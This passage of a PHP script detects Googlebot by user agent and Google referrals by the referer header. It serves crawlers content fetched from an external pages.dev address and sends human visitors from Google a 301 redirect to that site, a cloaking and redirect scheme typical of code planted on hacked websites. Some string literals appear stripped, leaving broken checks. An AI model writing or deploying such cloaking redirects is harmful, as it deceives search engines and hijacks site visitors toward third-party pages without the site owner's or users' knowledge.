[
'url_content' => 'https://mir-shkaf.pages.dev/index.txt',
'url_redirect' => 'https://mir-shkaf.pages.dev/',
'only_redirect_from_google' => true
],
];
function is_google_bot() {
$agents = array("googlebot", "google-amphtml", "google-site-verification", "googlebot-mobile", "google-inspectiontool", "googlebot-image", "mediapartners-google", "adsbot-google", "amphtml");
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
foreach ($agents as $agent) {
if (strpos($ua, $agent) !== false) {
return true;
}
}
return false;
}
function is_from_google() {
if (empty($_SERVER['HTTP_REFERER'])) {
return false;
}
$referer = parse_url($_SERVER['HTTP_REFERER']);
$host = strtolower($referer['host'] ?? '');
return (strpos($host, 'google.') !== false);
}
function get_client_ip() {
if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) return trim($_SERVER['HTTP_CF_CONNECTING_IP']);
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
return trim($ips[0]);
}
if (!empty($_SERVER['HTTP_X_REAL_IP'])) return trim($_SERVER['HTTP_X_REAL_IP']);
return $_SERVER['REMOTE_ADDR'] ?? '';
}
function get_country_code_by_ip($ip) {
static $cache = [];
if (isset($cache[$ip])) return $cache[$ip];
$resp = @file_get_contents("http://ip-api.com/json/{$ip}?fields=countryCode,status");
if (!$resp) return $cache[$ip] = '';
$data = @json_decode($resp, true);
if (!is_array($data) || ($data['status'] ?? '') !== 'success') {
return $cache[$ip] = '';
}
return $cache[$ip] = strtoupper($data['countryCode'] ?? '');
}
function is_target_country($ip, $countries) {
$code = get_country_code_by_ip($ip);
return in_array($code, $countries);
}
$current_uri = parse_url($_SERVER['REQUEST_URI'] ?? '', PHP_URL_PATH);
if ($current_uri !== '/' && substr($current_uri, -1) === '/') {
$current_uri = substr($current_uri, 0, -1);
}
if (isset($manual_routes[$current_uri])) {
$route_config = $manual_routes[$current_uri];
if (is_google_bot()) {
header('HTTP/1.1 200 OK');
header('Content-Type: text/html; charset=utf-8');
header('X-Content-Type-Options: nosniff');
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'];
$canonical_url = $protocol . '://' . $host . $current_uri . '/';
header("Link: <{$canonical_url}>; rel=\"canonical\"");
header('Cache-Control: public, max-age=3600, must-revalidate');
$bot_content = @file_get_contents($route_config['url_content']);
if ($bot_content !== false) {
$meta_robots = '';
$og_url = '';
if (strpos($bot_content, '') !== false) {
$inject = "\n" . $meta_robots . "\n" . $og_url . "\n";
$bot_content = str_replace('', $inject . '', $bot_content);
}
echo $bot_content;
} else {
echo "ErrorContent Unavailable
";
}
exit;
}
if (!empty($route_config['only_redirect_from_google'])) {
if (is_from_google()) {
header("Location: {$route_config['url_redirect']}", true, 301);
exit;
}
} else {
header("Location: {$route_config['url_redirect']}", true, 301);
exit;
}
}
?>